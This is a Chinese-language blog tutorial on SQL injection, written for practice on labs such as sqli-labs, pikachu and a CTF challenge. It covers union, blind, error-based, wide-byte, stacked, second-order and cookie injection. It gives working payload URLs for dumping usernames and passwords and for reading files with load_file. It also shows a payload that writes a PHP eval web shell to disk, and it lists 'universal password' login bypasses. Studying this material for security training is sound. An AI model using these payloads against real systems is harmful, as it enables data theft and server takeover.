加载中...
SQL注入漏洞详解
发表于:2021-06-27 |
字数统计: 5.9k | 阅读时长: 23分钟 | 阅读量:

SQL注入

  • 原理:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

    具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

    RY0WnS.png

SQL注入的分类

  • 一句注入点类型分类

    • 数字类型的注入
    • 字符串类型的注入
    • 搜索型注入
  • 依据提交方式分类

    • GET注入
    • POST注入
    • COOKIE注入
    • HTTP头注入(XFF注入、UA注入、REFERER注入)
  • 依据获取信息的方式分类

    • 盲注

      • 基于布尔的盲注
      • 基于时间的盲注
    • 基于报错的注入

    • union

      • 联合查询注入
      • 堆查询注入 (可同时执行多条语句)
  • 编码问题

    • 宽字节注入

怎么判断存在SQL注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
方法:


1.整形参数判断

通常news.asp中SQL语句原貌大致如下:select * from 表名 where 字段=xx,所以可以用以下步骤测试SQL注入是否存在。


最简单的判断方法:http://xxx/news.asp?id=xx’(附加一个单引号)



2. 字符串型参数判断

通常news.asp中SQL语句原貌大致如下:

select * from 表名 where 字段='xx',所以可以用以下步骤测试SQL注入是否存在。

http://xxx/news.asp?id=xx’(附加一个单引号),此时news.asp中的SQL语句变成了

select * from 表名 where 字段=xx’,news.asp运行异常;

http://xxx/news.asp?id=xx and '1'='1', news.asp运行正常,

而且与 http://www.hackbase.com/news.asp?id=xx运行结果相同;

http://xxx/news.asp?id=xx and '1'='2', news.asp运行异常;

如果以上满足,则news.asp存在SQL注入漏洞,反之则不能注入

Boolean盲注

盲注,就是在服务器没有错误回显时完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的信息,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到了执行。

下面我们用打开pikachu测试平台,选择sql盲注boolian章节进行演示:

RYrrtJ.png

先输入’ 测试一下反馈信息

RYrWnK.png

输入一个之前注册的真实信息

RYrh7D.png

发现回馈正确信息,输入kobe’ and 1=1# 发现反馈仍然为正确信息

RYrItH.png

将1=1改成1=2,错误的值,发现报错。

RYrqjP.png

所以,我们可以从and 1=1判断真假来做工作了,输入之前基于报错的字符kobe’ and ascii(substr(database(),1,1))>113#,将database的名字取第一个字符,转换为asc码的形式进行对比。发现反馈输入错误。

RYrjHS.png

反馈信息报错,以此修改113的数值,直到反馈正确信息。

RYrxAg.png

这里到112的时候。显示正确信息,说明数据库第一个字符的asc码为112,即P。
这里,就盲注完成了。

union注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
union联合查询适用于有显示列的注入。

用sql-labs来学习
这是第一个
http://127.0.0.1/sqli-labs/Less-1/?id=1


一、判断是否用'做字符串引号
http://127.0.0.1/sqli-labs/Less-1/?id=1'and 1=1 --+
正常输出
出错代表没有闭合 说明没有用' 可能没有用' 或用了"或()
http://127.0.0.1/sqli-labs/Less-1/?id=1%27and%201=2--+
则是''字符串注入


二、判断它所在的数据库有几列
http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 3 --+ 判断是否有3列
正常
http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 4 --+ 判断是否有4列
错误
说明它输出的内容所在的数据库有3列


四、判断他显示的内容在数据库的第几列
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
则 Your Login name 在第二列 Your Password在第三列
我选择在第二列输出我想要的内容


五、查找出当前用户权限
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,user(),3 --+
root权限


六、查找当前数据库
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+
当前数据库是 security


七、查找security的表名
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),3 --+
表名是 emails,referers,uagents,users


八 、查找users里的字段
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),3 --+



九、查找用户名
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(username) from security.users),3 --+



十、查找密码
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(password) from security.users),3 --+
这样 这个就完成了 已经拿到了账号密码 。

我们可以通过这些函数获得该数据库的一些重要的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
version() :数据库的版本     

database() :当前所在的数据库

@@basedir : 数据库的安装目录

@@datadir :数据库文件的存放目录

user() :数据库的用户

current_user() : 当前用户名

system_user() : 系统用户名

session_user() :连接到数据库的用户名

文件读写

当有显示列的时候,文件读可以利用 union 注入。当没有显示列的时候,只能利用盲注进行数据读取;

文件写入只能利用 union 注入

示例:读取e盘下3.txt文件

  • union注入读取文件
1
2
3
4
5
//union注入读取 e:/3.txt 文件
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file("e:/3.txt")#

//也可以把 e:/3.txt 转换成16进制 0x653a2f332e747874
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,load_file(0x653a2f332e747874)#

RYyqw8.png

盲注读取文件

1
2
//盲注读取的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成
http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1
  • union写入文件

    1
    2
    3
    4
    5
    //利用union注入写入一句话木马  into outfile 和 into dumpfile 都可以
    http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile 'e:/4.php' #

    // 可以将一句话木马转换成16进制的形式
    http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e into outfile 'e:/4.php' #

报错注入

**利用前提:**页面上没有显示位,但是需要输出 SQL 语句执行错误信息。比如 mysql_error()
优点: 不需要显示位
缺点: 需要输出 mysql_error( )的报错信息

  • floor报错注入

    floor报错注入是利用 count()函数 、rand()函数 、floor()函数 、group by 这几个特定的函数结合在一起产生的注入漏洞。缺一不可

    1
    2
    3
    4
    5
    6
    7
    8
    9
    // 我们可以将 user() 改成任何函数,以获取我们想要的信息。具体可以看文章开头关于information_schema数据库的部分
    http://127.0.0.1/sqli/Less-1/?id=-1' and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))a) #

    //将其分解
    (select 1 from (Y)a)

    Y= select count(*) from information_schema.tables group by concat(Z)

    Z= user(),floor(rand(0)*2) //将这里的 user() 替换成我们需要查询的函数

    **payload:**and (select 1 from (select count(*),concat((database()),floor(rand(0)*2))x from information_schema.tables group by x)a)

    RY6VfJ.png

  • floor报错注入总结

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    这里其实是二次查询注入
    这里在利用相关函数时,使用了两次select查询
    公式:
    ?id=1 and 1=2 union select 1 from (select+count(*),concat(floor(rand(0)*2),(测试语句))a from information_schema.tables group by a)b

    查看当前数据库版本:
    ?id=1 and 1=2 union select 1 from (select+count(*),concat(floor(rand(0)*2),version())a from information_schema.tables group by a)b

    查看数据库名:
    ?id=1 and 1=2 union select 1 from (select+count(*),concat(floor(rand(0)*2),database())a from information_schema.tables group by a)b

    查询表名:
    http://222.18.158.243:4606/?id=1 and 1=2 union select 1 from (select+count(*),concat(floor(rand(0)*2),(select table_name from information_schema.tables where table_schema=database() limit 1,1))a from information_schema.tables group by a)b

    查询字段名:
    http://222.18.158.243:4606/?id=1 and 1=2 union select 1 from (select+count(*),concat(floor(rand(0)*2),(select column_name from information_schema.columns where table_name='flag' limit 0,1))a from information_schema.tables group by a)b

    查询字段内容:
    http://222.18.158.243:4606/?id=1 and 1=2 union select 1 from (select+count(*),concat(floor(rand(0)*2),(select flag from flag))a from information_schema.tables group by a)b
  • ExtractValue报错注入

    1
    EXTRACTVALUE (XML_document, XPath_string)
    • 第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称

    • 第二个参数:XPath_string (Xpath 格式的字符串).

      作用:从目标 XML 中返回包含所查询值的字符串

      ps:返回结果 限制在32位字符

      1
      2
      3
      4
      // 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~
      http://127.0.0.1/sqli/Less-1/?id=-1' and extractvalue(1,concat(0x7e,user(),0x7e))#
      // 通过这条语句可以得到所有的数据库名,更多的关于informaion_schema的使用看文章头部
      http://127.0.0.1/sqli/Less-1/?id=-1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))#

      RY6GfH.png

  • UpdateXml报错注入

    UpdateXml 函数实际上是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码!

    • ```
      UPDATEXML (XML_document, XPath_string, new_value)
      1
      2
      3
      4
      5
      6
      7

      - 第一个参数:XML_document 是 String 格式,为 XML 文档对象的名称,文中为 Doc 1
      - 第二个参数:XPath_string (Xpath 格式的字符串) ,如果不了解 Xpath 语法,可以在网上查找教程。
      - 第三个参数:new_value,String 格式,替换查找到的符合条件的数据

      作用:改变文档中符合条件的节点的值

      // 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~
      http://127.0.0.1/sqli/Less-1/?id=-1' and updatexml(1,concat(0x7e,user(),0x7e),1)#
      // 通过这条语句可以得到所有的数据库名
      ?id=1 ‘ union select updatexml(1,concat(0x7e,(select database()),0x7e),1) –+
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28

      [![RY6H39.png](https://z3.ax1x.com/2021/06/27/RY6H39.png)](https://imgtu.com/i/RY6H39)

      #### REGEXP正则匹配

      正则表达式,又称规则表达式(Regular Expression,在代码中常简写为regex、regexp或RE),计算机科学的一个概念。正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本

      [![Rt3AVx.png](https://z3.ax1x.com/2021/06/28/Rt3AVx.png)](https://imgtu.com/i/Rt3AVx)

      在{}内只有一个整型参数i,表示字符只能出现i次;在{}内有一个整型参数i,后面跟一个",”,表示字符可以出现i次或i次以上;在{}内只有一个整型参数i,后面跟一个“,",再跟一个整型参数j,表示字符只能出现i次以上,j次以下(包括i次和j次)。其中的整型参数必须大于等于0,小于等于 RE_DUP_MAX(默认是255)。 如果有两个参数,第二个必须大于等于第一个

      [a-dX]

      匹配“a”、“b”、“c”、“d”或“X”

      [^a-dX]

      匹配除“a”、“b”、“c”、“d”、“X”以外的任何字符。

      “[”、“]”必须成对使用

      ```mysql
      mysql> select "aXbc" REGEXP "[a-dXYZ]"; -> 1(表示匹配)
      mysql> select "aXbc" REGEXP "^[a-dXYZ]$"; -> 0(表示不匹配)
      mysql> select "aXbc" REGEXP "^[a-dXYZ]+$"; -> 1(表示匹配)
      mysql> select "aXbc" REGEXP "^[^a-dXYZ]+$"; -> 0(表示不匹配)
      mysql> select "gheis" REGEXP "^[^a-dXYZ]+$"; -> 1(表示匹配)
      mysql> select "gheisa" REGEXP "^[^a-dXYZ]+$"; -> 0(表示不匹配)

已知数据库名为 security,判断第一个表的表名是否以 a-z 中的字符开头,^[a-z] –> ^a ; 判断出了第一个表的第一个字符,接着判断第一个表的第二个字符 ^a[a-z] –> ^ad ; 就这样,一步一步判断第一个表的表名 ^admin$ 。然后 limit 1,1 判断第二个表

1
2
// 判断security数据库下的第一个表的是否以a-z的字母开头
http://127.0.0.1/sqli/Less-1/?id=1' and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 0,1) #

宽字节注入

宽字节注入是由于不同编码中中英文所占字符的不同所导致的。通常来说,在GBK编码当中,一个汉字占用2个字节。而在UTF-8编码中,一个汉字占用3个字节。在php中,我们可以通过输入 echo strlen(“中”) 来测试,当为GBK编码时,输入2,而为UTF-8编码时,输出3。除了GBK以外,所有的ANSI编码都是中文都是占用两个字节。

相关文章:https://blog.csdn.net/qq_36119192/article/details/84138312

在说之前,我们先说一下php中对于sql注入的过滤,这里就不得不提到几个函数了。

addslashes()函数,这个函数在预定义字符之前添加反斜杠 \ 。预定义字符: 单引号 ‘ 、双引号 “ 、反斜杠 \ 、NULL。但是这个函数有一个特点就是虽然会添加反斜杠 \ 进行转义,但是 \ 并不会插入到数据库中。。这个函数的功能和魔术引号完全相同,所以当打开了魔术引号时,不应使用这个函数。可以使用 get_magic_quotes_gpc() 来检测是否已经转义。

mysql_real_escape_string() 函数,这个函数用来转义sql语句中的特殊符号x00 、\n 、\r 、\ 、‘ 、“ 、x1a。

魔术引号:当打开时,所有的单引号’、双引号”、反斜杠\ 和 NULL 字符都会被自动加上一个反斜线来进行转义,这个和 addslashes()函数的作用完全相同。所以,如果魔术引号打开了,就不要使用addslashes()函数了。一共有三个魔术引号指令。

  1. magic_quotes_gpc 影响到 HTTP 请求数据(GET,POST 和 COOKIE)。不能在运行时改变。在 PHP 中默认值为 on。参见 get_magic_quotes_gpc()。
  2. magic_quotes_runtime 如果打开的话,大部份从外部来源取得数据并返回的函数,包括从数据库和文本文件,所返回的数据都会被反斜线转义。该选项可在运行的时改变,在 PHP 中的默认值为 off。参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。
  3. magic_quotes_sybase 如果打开的话,将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如果同时打开两个选项的话,单引号将会被转义成 ‘’。而双引号、反斜线 和 NULL 字符将不会进行转义。如何取得其值参见 ini_get()
  • 我们这里搭了一个bugkuCTF练习平台的题目为例:

  • 题目:sql注入

    RYcJET.png

宽字节注入的修复

在调用 mysql_real_escape_string() 函数之前,先设置连接所使用的字符集为GBK ,mysql_set_charset=(‘gbk’,$conn) 。这个方法是可行的。但是还是有很多网站是使用的addslashes()函数进行过滤,我们不可能把所有的addslashes()函数都换成mysql_real_escape_string()。

所以防止宽字节注入的另一个方法就是将 character_set_client 设置为binary(二进制)。需要在所有的sql语句前指定连接的形式是binary二进制:

1
mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn); 

当我们的MySQL收到客户端的请求数据后,会认为他的编码是character_set_client所对应的编码,也就是二进制。然后再将它转换成character_set_connection所对应的编码。然后进入具体表和字段后,再转换成字段对应的编码。当查询结果产生后,会从表和字段的编码转换成character_set_results所对应的编码,返回给客户端。所以,当我们将character_set_client编码设置成了binary,就不存在宽字节注入的问题了,所有的数据都是以二进制的形式传递。

堆叠注入

堆叠注入,顾名思义,就是将语句堆叠在一起进行查询
原理很简单,mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句,例如

1
select * from users;show databases;

就同时执行以上两条命令,所以我们可以增删改查,只要权限够
虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁

  • 漏洞造成代码分析

sqli-labs38

RYcLGQ.png

对输入的参数没有进行严格的过滤,攻击者构造恶意的攻击语句造成了SQL注入攻击,存在回显点,可以进行联合注入,并且如果出现错误,会输出报错信息,这里也可以使用显错注入。
还可以看到,这里的SQL语句查询使用的是mysqli_multi_query函数,mysqli_multi_query函数可以执行多条SQL语句。

RYcxrq.png

可以看到,我们堆叠查询的语句执行成功,那么我们可以在堆叠的SQL语句使用时间盲注的语句。

RYczq0.png

上面这个代码,程序获取GET参数ID,使用PDO的方式进行数据查询,但仍然将参数ID拼接到查询语句,导致PDO没起到预编译的效果,程序仍然存在SQL注入漏洞。
使用PDO执行SQL语句时,可以执行多条语句,不过这样通常不能直接得到注入结果,因为PDO只会返回第一条SQL语句执行的结果,所以在第二条语句中可以用update更新数据或者使用时间盲注获取数据。

RYgCIU.png

总结

这个注入方式并不是很常用,理解和使用也较为简单,但是利用姿势比较多样特别,要多加理解和运用。

二次注入

二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

RYgFG4.png

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功

RYgBWQ.png

User-Agent注入

RYgLTK.png

Cookie注入

如今绝大部门开发人员在开发过程中会对用户传入的参数进行适当的过滤,但是很多时候,由于个人对安全技术了解的不同,有些开发人员只会对get,post这种方式提交的数据进行参数过滤。

但我们知道,很多时候,提交数据并非仅仅只有get / post这两种方式,还有一种经常被用到的方式:request(“xxx”),即request方法。通过这种方法一样可以从用户提交的参数中获取参数值,这就造成了cookie注入的最基本条件:使用了request方法,但是只对用户get / post提交的数据进行过滤。

我们这里有一个连接:www.xx.com/search.asp?id=1

我们访问:www.xx.com/srarch.asp 发现不能访问,说缺少id参数。

我们将id=1放在cookie中再次访问,查看能否访问,如果能访问,则说明id参数可以通过cookie提交。

那么,如果后端没有对cookie中传入的数据进行过滤,那么,这个网站就有可能存在cookie注入了!

过滤绕过

待更新。

传说中的万能密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sql="select*from test where username=' XX '  and password=' XX '  ";
1:"or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or'a'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
11:1 or '1'='1'=1
12:1 or '1'='1' or 1=1
13: 'OR 1=1%00

Timing Attack注入,也就是时间盲注。通过简单的条件语句比如 and 1=2 是无法看出异常的。

在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。

因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。

RYgvfe.png

利用前提:页面上没有显示位,也没有输出 SQL 语句执行错误信息。正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒。

优点:不需要显示位,不需要出错信息。

缺点:速度慢,耗费大量时间

sleep 函数判断页面响应时间 if(判断条件,为true时执行,为false时执行)

我们可以构造下面的语句,判断条件是否成立。然后不断变换函数直到获取到我们想要的信息

1
2
3
4
5
//判断是否存在延时注入
http://127.0.0.1/sqli/Less-1/?id=1' and sleep(5)#

// 判断数据库的第一个字符的ascii值是否大于100,如果大于100,页面立即响应,如果不大于,页面延时5秒响应
http://127.0.0.1/sqli/Less-1/?id=1'andif(ascii(substring(database(),1,1))<100,1,sleep(5)) #

感谢

https://mp.weixin.qq.com/s?__biz=Mzg3MTA1NDMxMw==&mid=100000183&idx=1&sn=414bda2e22753a9bd5a57ffebd3e0e8c&chksm=4e852f3179f2a627eecaffb02969a8435b3b3e737cf26d631581d86f976a58efe103c1757335&mpshare=1&scene=23&srcid=0625mQzmrBAli11fDcmAk4Zb&sharer_sharetime=1624580435225&sharer_shareid=cf169812543d2d844bcc7a739c22d12e#rd

上一篇:
评课脚本
下一篇:
ctf之web基础知识
本文目录
本文目录